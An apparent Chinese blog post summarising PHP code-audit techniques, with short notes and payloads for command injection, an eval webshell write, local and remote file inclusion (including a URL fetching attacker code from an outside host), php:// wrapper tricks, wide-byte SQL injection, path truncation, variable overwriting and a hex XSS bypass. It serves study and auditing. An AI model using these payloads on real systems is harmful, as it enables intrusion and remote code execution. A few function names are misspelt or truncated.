PHP代码审计总结//查漏补缺

1.命令注入漏洞审计
system、exec、passthru、反引号、shell_exec、popen、proc_open、pcntl_exec
另类命令执行 echo `whoami`;

//防御函数 escapeshellarg()和escapeshell

2.代码执行漏洞审计
eval、assert、preg_replace(\e模式造成的代码执行漏洞)
命令执行时 @eval($_POST[‘cmd’]) >> /root/shell.php 写入webshell

3.本地包含与远程包含
本地包含
include,include_once,require,require_once
受 gpc 影响本地包含如果后端为.php可以用 %00截断或者?要后面作为参数
http://localhost/test.php?file=hack.txt
http://localhost/test.php?file=hack.txt%00
http://localhost/test.php?file=hack.txt?

远程包含
allow_url_fopen 和 allow_url_include 为 On
http://localhost/test.php?file=http://0535code.com/hack.txt

在 allow_url_include = On 且 PHP <= 5.2.0
http://localhost/test.php?php://input
post提交 <? phpinfo(); ?>

伪协议:php://filter/read=convert.base64-encode/resource=index.php
把读取到的内容用base64解码为源文件代码

4.php变量解析特性
<?
$a = “tag”;
echo ‘$a’;
echo “<br>”;
echo “$a”;
//$a
//tag
// 第二个标签被解析了 ‘不可解析变量 “可以解析变量
//在通过传参拼接代码时有用!!!

5.XSS或SQL注入,参数未过滤
<!– GET –>
<form method=”get” action=”test.php”>
<input name=”test” value=””>
<input type=”submit” value=”GET submit”>
</form>
</div>
<?
echo $_GET[‘test’];
echo htmlspecialchars($_GET[‘test’]);
?>

<!– POST –>
<form method=”post” action=”test.php”>
<input name=”body” value=””>
<input type=”submit” value=”POST submit”>
</form>
</div>

<?php
echo $_POST[“body”];
echo htmlspecialchars($_POST[“body”]);
?>
//宽字节注入需要满足条件 %df%27
//1.设置 set character_set_client = gbk, php链接mysql使用gbk编码
//2.使用 addslashes()函数过滤参数值

6.系统长文件特性解析截断
<?php
$a=NULL;
for($i=0;$i<=4071;$i++) {
$a .= ‘/’;
print $a;
}
$a = test.txt.$a; //完整的路径为/var/www/test/test.txt
//require_once($a..php);
?>
//win下用240个.或./组合的240个字符
//linux下需要2038个/.组合

7.变量覆盖漏洞
register_global=On //开启了全局变量,代码中没有初始化变量
extract($key) //覆盖变量
parse_str(‘key=value’) //覆盖变量
import_requests_variables(‘GP’) //G覆盖GET,P覆盖POST,GP重写GET和POST变量,在PHP4.1-PHP5.4之外的版本需要开启register_gllbals
$a=’key’;$$a=$vaule; //变量覆盖 $_GET[‘a’]($_GET[‘b’]) //动态函数执行

7.is_numeric函数绕过
<?
if (is_numeric($_GET[‘key’])){
echo $_GET[‘key’];
}else{
echo “error!”;
}
//0x3c7363726970743e616c6572742831293c2f7363726970743e
//<script>alert(1)</script>
//16进制可以绕过 is_numeric 检测函数

发表评论

电子邮件地址不会被公开。 必填项已用*标注